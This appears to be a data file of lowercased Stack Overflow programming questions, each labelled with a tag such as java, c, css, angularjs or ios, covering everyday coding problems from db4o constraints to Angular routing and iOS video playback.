how don t insert duplicate objects in db4o  i m trying to add one one objetct with the same dni  but i always have an excepcion (exception in thread  main  java.lang.nullpointerexception         at gestionpersistencia.insertarvehiculo(gestionpersistencia.java:65)         at principal.main(principal.java:22)     [db4o 8.0.249.16098   2014-12-30 01:31:27] )   <pre><code>my main class..  public static void main(string[] args) {          person p = new person( jesus   25   50667847l );         persistence g = new persistence();          g.insertperson(p);   my class persistence....      public void insertarpersona(person p){      embeddedconfiguration configuration = db4oembedded.newconfiguration();         configuration.common().objectclass(vehiculo.class).objectfield( matricula ).indexed(true);         configuration.common().add(new uniquefieldvalueconstraint(vehiculo.class   matricula ));         bbd = db4oembedded.openfile(configuration  fgd.db4o );             try {                   bbdd.store(p);                 bbdd.commit();                   } catch (uniquefieldvalueconstraintviolationexception e) {                      bbdd.rollback();                     }                  bbdd.close();     } </code></pre>,java
implementing audioplayerdidfinishplaying:successfully: in flite engine  i am using flite text to speech engine in my project <a href= http://bitbucket.org/sfoster/iphone-tts/src  rel= nofollow noreferrer >stated here</a>. i am getting values from json url and converting them into speech. but  i want to know how to implement audioplayerdidfinishplaying:successfully: delegate method and play the next chunk when it s called in flitetts file. the audio player must play one object after the other and after completion of playing first value it must get next value and convert it into speech. the corresponding images etc must also load...    here  the code that i have done so far...   <pre><code>  sbjson *json = [[sbjson alloc]init]; fliteengine = [[flitetts alloc] init]; nsurlrequest *request = [nsurlrequest requestwithurl:[nsurl urlwithstring:@ http://www.sampleurl.txt ]]; nsdata *response = [nsurlconnection sendsynchronousrequest:request returningresponse:nil error:nil]; nsstring *jsonstring = [[nsstring alloc]initwithdata:response encoding:nsutf8stringencoding];  nsarray *asanaslist = [json objectwithstring:jsonstring error:nil]; nsarray *asanas =[asanaslist objectforkey:@ yogagurubackpain ];   for(nsdictionary *test in asanas) {      urlvalues *myasanas = [[urlvalues alloc]init];     myasanas.asanatitle = [test objectforkey:@ asanatitle ];     myasanas.asanatranscript = [test objectforkey:@ asanatranscript ];     myasanas.asanapicture = [test objectforkey:@ asanapicture ];     [data.yoga addobject:myasanas];     [myasanas release]; }   urlvalues *asana=[[data yoga]objectatindex:0]; self.asananame.text = [asana asanatitle]; self.asanatranscript.text = [asana asanatranscript];  nsstring *imageurl = [asana asanapicture]; nsstring* mapurl = [imageurl stringbyreplacingpercentescapesusingencoding:nsasciistringencoding]; nsdata* imagedata = [[nsdata alloc]initwithcontentsofurl:[nsurl urlwithstring:mapurl]]; uiimage* image = [[uiimage alloc] initwithdata:imagedata]; self.asanaimage.image = image;   nsstring *speak = self.asanatranscript.text; [fliteengine setvoice:@ cmu_us_rms ]; [fliteengine speaktext:speak]; [fliteengine setpitch:100.0 variance:11.0 speed:0.4];     [imagedata release];     [image release];  [jsonstring release]; [json release]; </code></pre>   plz help me with some sample code or a tutorial so that i can get the task done...,iphone
implementation of an own message dispatcher in c  i want to make my own message dispatcher in c...  for example  i want to send a message to mybutton or mywindow structures.  and these structures have their own handlers.     have any gurus any suggestions     ps: for embedded application (using microcontroller)    pps: thanks to <strong>sean</strong> - this is what i need. my simple interpretation of sean s advice:   <pre><code>typedef void (*myhandler)(size_t param); myhandler handlers[32]; void registerhandlers(size_t id  myhandler handler) {   handlers[id] = handler;    } void sendmessage(size_t id  size_t param) {   handlers[id](param);   } </code></pre>,c
if undefined or empty or indexof match then  i have a javascript function where an option can get passed in. the option is for specifying a restriction  and thus if the option is undefined  null  or an empty array then no restriction applies and all data rows get tested. if an array of options is provided  then only the data rows matching one of the restrictions gets whacked.    that is  the function needs to test every element of a data array and then also optionally do a check against the restriction option if a restriction option has been provided.    <strong>is there a shorter way to write the test </strong>   <pre><code>function dostuff (data  option) {   for (var i = 0; i &lt; data.length; i++) {     if ((test(data[i].x) &amp;&amp; !option) ||         (test(data[i].x) &amp;&amp; !option.length) ||         (test(data[i].x) &amp;&amp; array.isarray(option) &amp;&amp; option.length &amp;&amp; option.indexof(data[i].y) != -1)        ) // zomg! can this be shorter      {       // do stuff     }   } } </code></pre>  <hr>   ps. i m not after some impossible to read chunk of code golf black magic. just something that s shorter and succinct and sensible.,javascript
angularjs: menu bar not working  i am creating a web application from scratch. i have login form page which on successful authentication  navigates user to home page where we will have a menu bar and dashboard view. now user can click on any menu option and navigates between pages.    my problem is i have to use ng-view in home.aspx and not in login.aspx. and all my scripts are included in login.aspx page. when i write routing in the home.aspx ng-view wont work. can you please guide here,angularjs
how to handle single quote in query string parameter values inside eval for navigateurl property of hyperlink  inside <code>gridview</code> control if my <code>id_logon</code> value has single quote characters in it  then the string gets terminated at the single quote.<br> for eg  if <code>id_logon = o connel</code><br> then only the o is being passed as a parameter. how to pass the whole string    <pre><code>&lt;asp:templatefield headertext= logonid  &gt;     &lt;itemtemplate&gt;         &lt;asp:hyperlink id= hyperlink1               navigateurl= &lt;%# editlogon.aspx id=  + eval( id_logon )%&gt;                 text= &lt;%# bind( id_logon )%&gt;  runat= server &gt;&lt;/asp:hyperlink&gt;     &lt;/itemtemplate&gt; &lt;/asp:templatefield&gt; </code></pre>,asp.net
program to find the the smallest three numbers in c  how i can modify my code in order to find the smallest three numbers.   <pre><code>    #include&lt;stdio.h&gt;     int main(){     int a[50] size i small;      printf( \nenter the size of the array:  );     scanf( %d  &amp;size);     printf( \nenter %d elements in to the array:    size);     for(i=0;i&lt;size;i++)       scanf( %d  &amp;a[i]);       small=a[0];     for(i=1;i&lt;size;i++){       if(small&gt;a[i])         small=a[i];     }     printf( smallest element: %d  small);      return 0;     } </code></pre>,c
java application launcher  i have written a very simple java application. can anyone tell me how to create a launcher like icon to run that application both in ubuntu and windows       thanks in advance..!!,java
how to use css only to add the appropriate logo images each p  use css only to add the appropriate logo image next to each solution. this means that you won’t be adding an  tag to the page to get the image to appear. it will be added using css and formatted with css as well. solution must be moved over to the right so that the image is isolated as shown in the image below. so it has to be one class for three paragraphs  and i cant use html  and it has to be three different images,css
there are big differences between rails 3 and 3.2   i want to learn ruby on rails  up to now i ve always developed with php but now i d like to try something new and i found this (http://ruby.railstutorial.org/ruby-on-rails-tutorial-book) book online which relies on ruby 3.0 while the last version is 3.2.1    there are big differences between rails 3 and 3.2  if yes there may be big problems using this book and which are this changes     edit: if you know some other resources please post them,ruby-on-rails
converting php to assembly/machine  i heard someone say that the purpose of scripting languages it to abastract out the low-level stuff...also if you look at how sites are developed you see that when sites want efficiency they switch from php to c++  c# or similar.      php is written in c.  c compiles to assembly/machine code...so theoretically you should be able to think of php in terms of assembly if you knew how.  is there a way to view the assembly for php or does this go against the design pupose of a scripting language       to say you have an advanced command of the language should you be able to view it in terms of assembly     i have a general understanding of php class design on the high level but how low-level should one go with out  going against the design of the languge .    if there is a line where is it drawn   how do i convert php to assembly     i m asking the question b.c. i want to have an advanced knowledge of the language and i need to know if this would be a requirement.    for example  you could look up the php call in c.  from there you could use gcc tools to view that assembly...but does anyone do this,php
how do i keep the screen on in my app   for my android app i never want the phone to lock or the back light to turn off,android
white-space:pre-wrap causes extra spacing  i m working on making portions of a website more mobile friendly. rather than re-work the original pages it was decided we d duplicate the pages needing mobile versions and redirect accordingly.    i have the following mark-up which looks fine on the desktop version of the page.   <pre><code>&lt;div class= description &gt;     &lt;asp:literal id= lbldescription  runat= server &gt;&lt;/asp:literal&gt; &lt;/div&gt;  .description { white-space: pre-wrap; } </code></pre>   but on the mobile version i m getting a series of white spaces added to the beginning and end of the content. it ends up being rendered like so.   <pre><code>                              lorem ipsum dolor sit amet  consectetur adipiscing elit. vestibulum ornare posuere efficitur. suspendisse molestie  leo in vestibulum condimentum  ligula risus rutrum mi  a condimentum augue quam nec velit. nullam quis elementum ipsum  vitae facilisis tellus. integer sed turpis eget purus pellentesque suscipit eu non magna.                                               </code></pre>   viewing the content in firebug looks like this. notice the single white space at the beginning and end of the content.   <pre><code>&lt;div class= description &gt; lorem ipsum dolor sit amet &lt;/div&gt; </code></pre>   and when i edit the content in firebug it becomes this   <pre><code>                              lorem ipsum dolor sit amet                           </code></pre>   these white spaces are not on the desktop version of the page  only the mobile version. the html markup and css are exactly the same on both versions of the page. i removed all of the other markup on the page and it still happens. if i change white-space to any value other than pre-* it looks fine. the only difference between these two pages is the addition of bootstrap and removing it doesn t make a difference.    does anyone have any ideas  i need white-space:pre-wrap to preserve the carriage returns.,css
google weather xml into php page   i m new to php/xml and i would like to add google s xml weather info. and add that info to my .php page.    i will use this url as an example: <a href= https://www.google.com/ig/api weather=12601&amp;hl=en&amp;referrer=googlecalendar  rel= nofollow >https://www.google.com/ig/api weather=12601&amp;hl=en&amp;referrer=googlecalendar</a>    the output i get at that url is:   <pre><code>&lt; xml version= 1.0  &gt; &lt;xml_api_reply version= 1 &gt; &lt;weather module_id= 0  tab_id= 0  mobile_row= 0  mobile_zipped= 1  row= 0  section= 0  &gt; &lt;forecast_information&gt; &lt;city data= poughkeepsie  ny /&gt; &lt;postal_code data= 12601 /&gt; &lt;latitude_e6 data=  /&gt; &lt;longitude_e6 data=  /&gt; &lt;forecast_date data= 2013-08-15 /&gt; &lt;current_date_time data= 1970-01-01 00:00:00 +0000 /&gt; &lt;unit_system data= us /&gt; &lt;/forecast_information&gt; &lt;current_conditions&gt; &lt;condition data= partly cloudy /&gt; &lt;temp_f data= 78 /&gt; &lt;temp_c data= 26 /&gt; &lt;humidity data= humidity: 44% /&gt; &lt;icon data= /ig/images/weather/partly_cloudy.gif /&gt; &lt;wind_condition data= wind: n at 2 mph /&gt; &lt;/current_conditions&gt; &lt;forecast_conditions&gt; &lt;day_of_week data= thu /&gt; &lt;low data= 52 /&gt; &lt;high data= 81 /&gt; &lt;icon data= /ig/images/weather/sunny.gif /&gt; &lt;condition data= clear /&gt; &lt;/forecast_conditions&gt; &lt;forecast_conditions&gt; &lt;day_of_week data= fri /&gt; &lt;low data= 52 /&gt; &lt;high data= 82 /&gt; &lt;icon data= /ig/images/weather/partly_cloudy.gif /&gt; &lt;condition data= partly cloudy /&gt; &lt;/forecast_conditions&gt; &lt;forecast_conditions&gt; &lt;day_of_week data= sat /&gt; &lt;low data= 57 /&gt; &lt;high data= 84 /&gt; &lt;icon data= /ig/images/weather/partly_cloudy.gif /&gt; &lt;condition data= partly cloudy /&gt; &lt;/forecast_conditions&gt; &lt;forecast_conditions&gt; &lt;day_of_week data= sun /&gt; &lt;low data= 59 /&gt; &lt;high data= 79 /&gt; &lt;icon data= /ig/images/weather/cloudy.gif /&gt; &lt;condition data= cloudy /&gt; &lt;/forecast_conditions&gt; &lt;/weather&gt; &lt;/xml_api_reply&gt; </code></pre>   i would just like to extract the following info. but i don t know how to do it  i would like to use the min. amount of code if possible.    like it to display in .php page like this:   <pre><code>currently: partly cloudy - 78* thu: clear - hi: 81* lo: 52* fri: partly cloudy - hi: 82* lo: 52* sat: partly cloudy - hi: 84* lo: 57* sun: cloudy - hi: 79* lo: 59* </code></pre>   thanks.,php
how does the system determine whether a given dll is a .net dll   how does the system determine whether a given dll is a .net dll or a win32 dll,.net
calculating a riemann sum with given user input <blockquote>    i have to formulate either a right point  left point or mid point riemann sum from user input for the coefficients  upper and lower limits of the integral and the number of rectangles under the curve. i understand what the right  left and mid point sums mean but i am having trouble putting it into code. i would really appreciate a bit of guidance for how to actually write the functions in the correct syntax for c. for my function i have so far:  </blockquote>  <pre><code>float getarea(int choice  int final  int initial  int rectangle) {   double i = initial;   float area;   while(i &lt; final)   {     area += final;   }   if (choice == 1)   {     //left sum   }   else if (choice == 2)   {     //mid point sum   }   else    {     //right sum   }   return (area); } </code></pre>,c
target all descendants of an element  say i have the following html:   <pre><code>&lt;body&gt;     &lt;div class= wrapper &gt;         &lt;div class= form &gt;             &lt;h1&gt;headline&lt;/h1&gt;             &lt;input name= input-name /&gt;             &lt;p&gt;                 &lt;h2&gt;subheadline&lt;/h2&gt;                 &lt;div class= content &gt;                     some content                 &lt;/div&gt;                          &lt;/p&gt;         &lt;/div&gt;     &lt;/div&gt; &lt;/body&gt; </code></pre>   and i want every element inside body to be <code>inline</code> (i know it doesn t make any sense  just for the example)  so is there some elegant way to do that  rather then:   <pre><code>.wrapper  form  h1  input[name= input-name ]  h2  .content{     display: inline; } </code></pre>,css
mysql calculated column using two tables  i ve got a table of clubmembers with an integer id (pk)    i ve got another table which just lists a couple of ids (life members of the club)    i want to create a view with all the clubmembers  plus an extra column that calculates their membership type which works something like this:   <pre><code>if (clubmember.id is in lifemembers) result =  life  elseif (clubmember.datejoinedclub is over 1 year ago) result =  full  else result =  probationary  </code></pre>   but i have no idea how to do it in sql.,mysql
how to synchronize the sorting of three arraylists  i made a program where the user inputs as many names as they like in a first name  middle initial (optional)  and last name format.  i then split the names and assign them to string variables called firstname  middleinitial  and lastname.  since there may be more than one name input  i have added each variable to its own arraylist called fname  mi  and lname.  now i must sort them so that they are in ascending order by last name.  here is where the problem comes in.  it s easy enough to sort the last name  but how do i get the mi and fname arraylists to sort in the same order as the lname arraylist   here is my code:   <pre><code>static void main(string[] args) {     arraylist fname = new arraylist();     arraylist mi = new arraylist();     arraylist lname = new arraylist();       console.writeline( please enter name:   +  (type quit to exit) );     string invalue = console.readline(); //prime readline      while (invalue !=  quit )     {         string firstname =                    middleinitial =                    lastname =   ;           string[] name = invalue.split(new[] {     }  stringsplitoptions.removeemptyentries);         firstname = name[0];         fname.add(firstname);          if (name.length &gt; 2)         {             middleinitial = name[1];             mi.add(middleinitial);          }         else         {             middleinitial = string.empty;             mi.add(middleinitial);         }         if (name.length == 2)         {             lastname = name[1];             lname.add(lastname);         }         else         {             lastname = string.join(     name.skip(2));             lname.add(lastname);         }         console.writeline( please enter name:   +  (type quit to exit) );         invalue = console.readline();     } } </code></pre>,c#
jquery datatables click event from button  i am new to jquery. this was my first attempt at jquery.datatables and it worked fine.  now i am trying to add some more to it - like if a button is clicked (refresh button in the code below)  i want to refresh the grid. but the click event is not fired. please help.   <pre><code>@{     layout =  ~/views/home/jqdatatableeditablelayout.cshtml ; }  @section head{  &lt;script language= javascript  type= text/javascript &gt;     var oaddrtable;      $(document).ready(function () {          oaddrtable = $( #addrtable ).datatable({              bjqueryui : true               spaginationtype :  full_numbers                idisplaylength : 100               alengthmenu : [[50  100  300  -1]  [50  100  300   all ]]               bprocessing : true               bserverside : true               sajaxsource :  /home/ajaxindexdataprovider                bautowidth : true               bdeferrender : true               sscrollx :  100%                sscrollxinner :  120%                sscrolly : 500               bscrollcollapse : true                aocolumns : [                                     {  sname :  addressid    bsearchable : false   bsortable : false   bvisible : false }                                      {  stitle :  address line 1    sname :  addressline1    bsearchable : false   bsortable : true }                                      {  sname :  addressline2    bsearchable : false   bsortable : true }                                      {  sname :  city    bsearchable : false   bsortable : true                                           mrender : function (data  type  full) {                                             return  &lt;a href= http://www.google.com.au city=  + data +   &gt;  + data +  &lt;/a&gt; ;                                         }                                     }                                      {  sname :  postalcode    bsearchable : false   bsortable : true }                          ]          }).makeeditable({              supdateurl :  /home/updatedata          });           $( #refresh ).on( click   function () { alert( aaaaaaaaaaa ); });       });           //ready           &lt;/script&gt; }  &lt;button id= refresh  type= button &gt;refresh&lt;/button&gt; &lt;div id= demo   style= width:1000px; &gt;     &lt;h2&gt;ajax example&lt;/h2&gt;       &lt;button id= btnaddnewrow  value= ok &gt;add new address...&lt;/button&gt;      &lt;button id= btndeleterow  value= cancel &gt;delete selected address&lt;/button&gt;     &lt;table id= addrtable  class= display &gt;         &lt;thead&gt;             &lt;tr&gt;                 &lt;th&gt;addressid&lt;/th&gt;                 &lt;th&gt;addressline1&lt;/th&gt;                 &lt;th&gt;addressline2&lt;/th&gt;                 &lt;th&gt;city&lt;/th&gt;                 &lt;th&gt;postalcode&lt;/th&gt;              &lt;/tr&gt;         &lt;/thead&gt;         &lt;tbody&gt;          &lt;/tbody&gt;     &lt;/table&gt; &lt;/div&gt; </code></pre>   regards n thanks in advance.,jquery
angular js with spring mvc  currently trying to implement angular js with spring mvc    tried to implement the sample project <strong>springmvc-angularjs-master</strong> from the site-<a href= https://github.com/xvitcoder/spring-mvc-angularjs  rel= nofollow noreferrer >https://github.com/xvitcoder/spring-mvc-angularjs</a>   not sure how to use the folder structure of this sample project into a spring project.     i read the thread - <a href= https://stackoverflow.com/questions/16617381/spring-mvc-and-angularjs >spring mvc and angularjs</a> but still could not find the solution. do i need to create new folder webapp under the src folder in the web application     can someone help me how to convert this sample project into spring web application  i am not using maven and using simple web application with spring capabilites in  myeclipse ide.    current project folder structure:    sampleapp    -src   <pre><code>  --controller bean folders </code></pre>   -webroot   <pre><code> --webinf      ---web.xml springmvc.xml      ---html folder(index.html etc. )  --resources      ---js          ----app.js services.js controller.js and lib folder </code></pre>,angularjs
displaying multiple dataset relations in one datagridview  i have two xml codes from two database tables  that i read them with xmlreaders in c#. then i ve set datasets and fill them with the readers and merge them. now i want to define relation between them to display whole data in a datagridview. but i can t see anything in my datagrid. no errors and no outputs.    this is my c# code:   <pre><code>xmlreader reader1 = xmlreader.create( http://example.com/showtaxonomy.php/ ); xmlreader reader2 = xmlreader.create( http://example.com/showterms.php/ ); ds1.readxml(reader1); ds2.readxml(reader2); ds2.merge(ds1); newrelation = new datarelation( buy   ds2.tables[ terms ].columns[ term_id ]  ds2.tables[ term_taxonomy ].columns[ term_id ]); </code></pre>   i ve also tried this one but it doesn t work too:   <pre><code>ds2.relations.add( buy   ds2.tables[ d3cwx_terms ].columns[ term_id ]  ds2.tables[ d3cwx_term_taxonomy ].columns[ term_id ]); ds2.relations.add(newrelation); </code></pre>   i use this code to fill my datagrid:   <pre><code>frm.dgv.datasource = ds2.relations[ buy ];   </code></pre>   what can i do to have output  thanks beforehand,c#
why is my inline css working but not the css in the head tag   why is it that this inline css works fine.   <pre><code>&lt;a href= error.php  class= reportbug  style= display:scroll ;position:fixed; bottom:210px; right:2px; &gt;      &lt;img src= images/report_error.png  border= 0 &gt; &lt;/a&gt; </code></pre>   but it doesn t work when i put the css in <code>&lt;head&gt;</code>.   <pre><code>&lt;head&gt;   &lt;style type= text/css &gt;     #reportbug {       display:scroll;       position:fixed;       bottom:210px       right:2px;     }   &lt;/style&gt; &lt;/head&gt;  &lt;body&gt;   &lt;a href= error.php  class= reportbug &gt;      &lt;img src= images/report_error.png  border= 0 &gt;   &lt;/a&gt; &lt;/body&gt; </code></pre>   what is the difference between the two  and why doesn t the second way work,css
realtime collaborative editing: mobwrite on windows7 x64  i have set up <a href= http://code.google.com/p/google-mobwrite/  rel= nofollow  title= mobwrite >mobwrite</a> on my win7 development machine using the daemon and q.py listener.  the client test suite passes  but when i run the server test suite  everything fails with this sort of response:   <pre> question: u:user10259538167863824 f:0:unittest10259538167863824 r:0:hello world  expected: u:user10259538167863824 f:0:unittest10259538167863824 d:0:=11  actual: u:user10259538167863824 f:0:unittest10259538167863824 d:0:=11  diff:    u:user10259538167863824 ¶ f:0:unittest10259538167863824 ¶ d:0:=11¶  ¶  ¶ </pre>   i am assuming it has something to do with line endings  but i don t know what to do.  can anyone shed some light on this     thanks so much!    ps: i m running python 2.7,python
month calendar fetching wrong date   i m trying to have the user select a date on a month calendar and then display it in the format <code>yyyymmdd</code>. currently i am trying to do it like this:   <pre><code>string date = completioncalendar.selectionend.tostring( yyyymmdd ); </code></pre>   however the issue i m having is that when i run this i either get 00 as the month or 59 and i m not sure what i ve done wrong  any help would be appreciated.,c#
returning a non null string causes compilation error  i m trying to do something very simple in c  which is to process and return a char  and have that function s return value be a  usable  char in another function.   <pre><code>char name_the_file(char *filename) {     if (filename == null) {         filename =  myfile ;     }     globalfile = filename;     return filename; }  file *load_file(char *filename) {     filename = name_the_file(filename);     file *filepointer;     filepointer = open_file(filename);     return fopen(filename   r ); } </code></pre>   i keep getting the diagnostic: <code>warning: assignment makes pointer from integer without a cast [enabled by default]</code> and i don t understand what is wrong with what i am doing. i can t redefine <code>filename</code>,c
read file from directory then read specific line of the same file c#  my problem is that i m reading a directory then i filter the files by name  but also in this directory there are other files with different names  what i am trying to do is enter this file with different name and read line number 6  and if this line matches with the name of the other files that have same name  save this files into and array to process them later.    thanks in advance.,.net
"how do i check if an object contains an object without using methods   i m trying to check if an object contains another object inside it with a partial match style.    so the following example should find the object <code>{ a :{ b : c }</code> twice in <code>myarray</code> once it works. note that even though the <code>myarray[0]</code> object has an additional property of <code> e :  f </code> on top of <code>{ a :{ b : c }</code> it still should be considered to contain <code>{ a :{ b : c }</code>.    i want to avoid using any methods such as reduce or map.    <div class= snippet  data-lang= js  data-hide= false  data-console= true  data-babel= false >
 <div class= snippet-code >
 <pre class= snippet-code-js lang-js prettyprint-override ><code>const myarray = [
   {
      a : {
        b :  c  
        e :  f  
     }
   } 
     {
      a : {
        b :  c 
     }
   } 
     {
      d : {
        e :  f 
     }
   } 
 ]
 
 function contains(array  index  object) {
   if () { // implementation   
     return true
   } 
   else {
     return false
   }
 }
 
 function quantityofobjectinarray(object  array) {  
   var count = 0;
   for (var i = 0; i &lt; this.length; ++i) {
     if ( contains(array  i  object) ) {
      count++;
     }
   }
   return count
 }
 
 var quantity = quantityofobjectinarray({ a :{ b : c }}  myarray) 
 console.log(quantity) // expect: 2</code></pre>
 </div>
 </div>",javascript
how to show the dropdown blank when one of the option from the otehr dropdown is selected  <pre><code>how to show the dropdown country blank when the state dropdown option is selected and also viceversa(country dropdown is selected and the state dropdown is blank  </code></pre>   does we need to include the option blank in the option or else is there any syntax   i have done through the disable option that when i select the dropdown of country the dropdown of state disabled.                jquery select / dropdown box example   <pre><code>&lt;script type= text/javascript  src= js/jquery.js &gt;&lt;/script&gt;  &lt;/head&gt;  &lt;body&gt;  &lt;h1&gt;jquery select / dropdown box example&lt;/h1&gt;  &lt;script type= text/javascript &gt;    $(document).ready(function(){      $( #country ).change(function () {        // disable the dropdown:  if($( #country option:selected ).val()== none ){     $( #state ).attr( enabled   true ); }else {     $( #state ).attr( disabled   true ); }     });      }); &lt;/script&gt; &lt;/head&gt;&lt;body&gt;  &lt;select id= country &gt; &lt;option value= none &gt;-- select --&lt;/option&gt; &lt;option value= china &gt;china&lt;/option&gt; &lt;option value= united state &gt;united state&lt;/option&gt; &lt;option value= malaysia &gt;malaysia&lt;/option&gt; &lt;/select&gt; &lt;select id = state &gt; &lt;option value = ap &gt;ap&lt;/option&gt; &lt;option value = sp &gt;sp&lt;/select&gt;  &lt;/body&gt; &lt;/html&gt; </code></pre>,jquery
how to merge array of object containing same id  i have one array of objects like this:   <pre><code>[   {     id:1      val: 5   }    {     id:1      val: 5   }    {     id:2      val: 6   }    {     id:2      val: 7   } ] </code></pre>   and i want something like this   <pre><code>[   {     id:1      val: 10   }    {     id:2      val: 13   }  ] </code></pre>   how can i do this,javascript
angular load ng-includes doesnt work  i m trying to include my template file with angular mode. like this   <pre><code>&lt;div class= col-lg-6 col-md-9 member-container bg-light-green  ng-include=  https://s3-eu-west-1.amazonaws.com/link.com/frontend-web/app/views/login.html  &gt; </code></pre>   it s working in firefox  but not in safari  chrome. when i look at the console  it s look like this    <pre><code> &lt;!-- &lt;div class= col-lg-6 col-md-9 member-container bg-light-green  ng-include=  https://s3-eu-west-1.amazonaws.com/link.com/frontend-web/app/views/login.html  &gt; --&gt;  </code></pre>,angularjs
array merging for combining key values in another array with no repetition of same objects using javascript  i tried merging arrays   <pre><code>var x =[{n: s1   a: sang   m1: 10}  {n: s2   a: sang   m1: 20}]  var y =[{n: s1   a: sang   m2: 20}  {n: s2   a: sang   m2: 20}]  after merging var a and var b i need result in var c like   c = [{n: s1   a: sang   m1: 10  m2: 20} {{n: s2   a: sang   m1: 20 m2: 20}] </code></pre>,javascript
jquery removeclass() removes only one match  here s the issue. for some unknown reason  this javascript function only removes the highlight on the first item with class  .folder   and doesn t remove it from the rest whenever a different one is clicked. i can t find anything possibly wrong with the code  yet it doesn t work. the jquery api documentation states it should affect each element that matches the pattern.    what gives    <pre><code>function init_ui(){     // (some other functions omitted)     $( .folder ).click(function(){         $( .folder ).children().eq(0).removeclass( highlighted );         $(this).children().eq(0).addclass( highlighted );         $(init_ui);     }); } $(init_ui); </code></pre>  <h1>solution:</h1>   simply remove .eq(0)  as that means it will only match the first element of them all.,jquery
memory alloc puzzle in array declare  in cpp i can declare a arry as :   <pre><code>char list[20]; </code></pre>   it will alloc 20 from memory we can confirm it using sizeof    and also we can declare    <pre><code>char *list = new char[20]; </code></pre>   so what s the difference between the two declare,c++
python: find associated value from 2 lists  sorry to pollute with such a routine question  but:    if i have 2 lists  for example:   <pre><code>list1 = [1 2 3 4 5 6 7]  list2 = [20 40 60 80 100 120 140] </code></pre>   how would i find the value associated with 3 in list1 (answer is 60)    in this case 1 is associated with 20  2 w/ 40  and so on.,python
filenot found exception for mscorlib.dll  i have installer project working fine on development machine(32 bit) but when i move it to the production server it crashes. the error is related to mscorlib.dll(file not found exception  clr20r3). the snapshot of exception for ur refrence is attached.  i have tried repairing/ re installing framework 3.5.<img src= https://i.stack.imgur.com/hsh3g.jpg  alt= alt text >,.net
cancelalllocalnotifications not working sometimes  every time my app enter background  i call <strong>[[uiapplication sharedapplication] cancelalllocalnotifications];</strong>  first.then i reschedule localnotifications as need.     but sometimes localnotification that scheduled long time ago and should be canceled <strong>still fired</strong>.i put create time in userinfo of each localnotification. in <strong>didreceivelocalnotification:(uilocalnotification *)notification</strong> method i get create time of this notification. and cancelalllocalnotifications was called after that time. so i m 100% sure this notification should be canceled.it s so wired that it still fired!    my app was tested on ios9.0.2.does any one has similar problem,ios
escape sequence in c <pre><code>int main()    {       char *arr= \\0\1\8234\0 ; int i=0;            while(arr[i])            {        switch(arr[i])                     {                             case  0 : printf( is no ); break;                             case  00 : printf( is debugging\n ); break;                             case 0: printf( it is avishkar\n ); break;                             case  \\ : printf( this  ); break;                             case  \1 : printf( t s ); break;                             case  8 : printf( o s ); break;                             case  2 : printf( imp ); break;                             case  3 : printf( le as ); break;                             case 2: case 3: case 4:                             case 8: printf( this  ); break;                             default: printf(  it seems\n ); break;}                     i++; } } </code></pre>   please explain the o/p   i am not able to get it..,c
should i insert every useful value into database   i m new to programming.    yesterday i was thinking about design a new program database  but i have a problem:    for example  i m writing a crawler program than record the kindle ebooks of amazon   then i need to create 2 tables:   <blockquote>   <ol>   <li>item table: record ebooks name  asin  url.etc</li>   <li>price table: base on asin  record ebooks today s price  new price and date when the price has changed.</li>   </ol> </blockquote>   then at the front-end  actually it needs the <code>lowest price</code> of all record time  i was wondering this <code>lowest price</code> should record in the price table (just like excel) or calculate when fe needs     i know both ways would work  that i just wonder how professional programmer do     thanks for reply.,mysql
angularjs - how to route to a controller in different module  i have a question related to modules and routing in angularjs. the requirements are to define all routing configs in one module - lets call this <code>modulertr</code>.     once the route is triggered  it should call a controller (called <code>testctr</code> for example). this controller is defined in another module - let s call it <code>modulectrl</code>.     if i try to do that  i got an exception like:    <blockquote>     argument <code>testctr</code> is not a function  got undefined   </blockquote>   . the reason is that when angular broadcast <code>$routechangesuccess</code> event  the listener tries to access the controller (<code>testctr</code>) as part of the current module - <code>modulertr</code>. because it s not there  it throws an error.     if i simply create <code>testctr</code> controller in <code>modulertr</code> (the same that has the route in it)  then everything works. but i don t want that  i want to have my <code>testctr</code> in different module. i also don t want to have route define in <code>modulectrl</code> module.    so  in more straightforward way  my question is: is it possible a route defined in one module (<code>modulertr</code>) to call a controller defined in another module (<code>modulectrl</code>)     something that i forgot to mention...i don t want to bind these 2 modules by any means. that of course includes listing a dependency during module s creation. i have already tried dynamic loading of <code>testctr</code> - it didn t solve the problem.    the scenario is: you have 2 angularjs applications (modules). they don t know anything about each other...except one thing - somewhere in a shared/common location  there is an object which follows a particular structure (like a contract). the first module writes data there. then it runs a common function from the second module (this is actually the question i am asking - how ). then the second module knows already where to go (it s a contract) what to read and what to do. one way i can do this is to try dynamically generates the string that represents a module dependency when the other module is created. i am not sure if that is a good solution...    many thanks!,angularjs
the app crash all the time with a video player  i am trying to put a video code in xcode i am using storyboard but every time that crash me this is the error :    terminating app due to uncaught exception  nsinvalidargumentexception   reason:  <strong>* -[nsurl initfileurlwithpath:]: nil string parameter  *</strong> first throw call stack:    i connect the button to the <code>ibaction</code> but after i press the button the app crash me    <pre><code>- (ibaction)playmove; {     nsstring *url = [[nsbundle mainbundle]pathforresource:@ skill  oftype:@ flv ];           mpmovieplayercontroller *themovie = [[mpmovieplayercontroller alloc]initwithcontenturl:[nsurl fileurlwithpath:url]];     themovie.view.frame = cgrectmake(64  100  200  150);     [self.view addsubview:themovie.view];      [themovie play]; } </code></pre>   my file is <code>name.mp4</code> large 480* 360 but thats it crashed  this is the code   <pre><code>- (ibaction)playmove; {     nsurl *url =[nsurl fileurlwithpath:[[nsbundle mainbundle] pathforresource:@ go  oftype:@ mp4 ]];     mpmovieplayerviewcontroller *player = [[mpmovieplayerviewcontroller alloc]initwithcontenturl:url];     [self presentmovieplayerviewcontrolleranimated:player];     player.movieplayer.moviesourcetype = mpmoviesourcetypefile;     [player.movieplayer play];  } </code></pre>   and the button are connect fine what can i do to fix it      i am trying to use without storyboard and with story board but always crashed.    this is the error:   <pre><code>nsinvalidargumentexception   reason:  *** -[nsurl initfileurlwithpath:]: nil string parameter  *** first throw call stack: (0x1e0a022 0x1348cd6 0x1db2a48 0x1db29b9 0xb9753b 0xb974c5 0x21dc 0x1e0be99 0x25814e 0x2580e6 0x2feade 0x2fefa7 0x2fe266 0x27d3c0 0x27d5e6 0x263d </code></pre>,ios
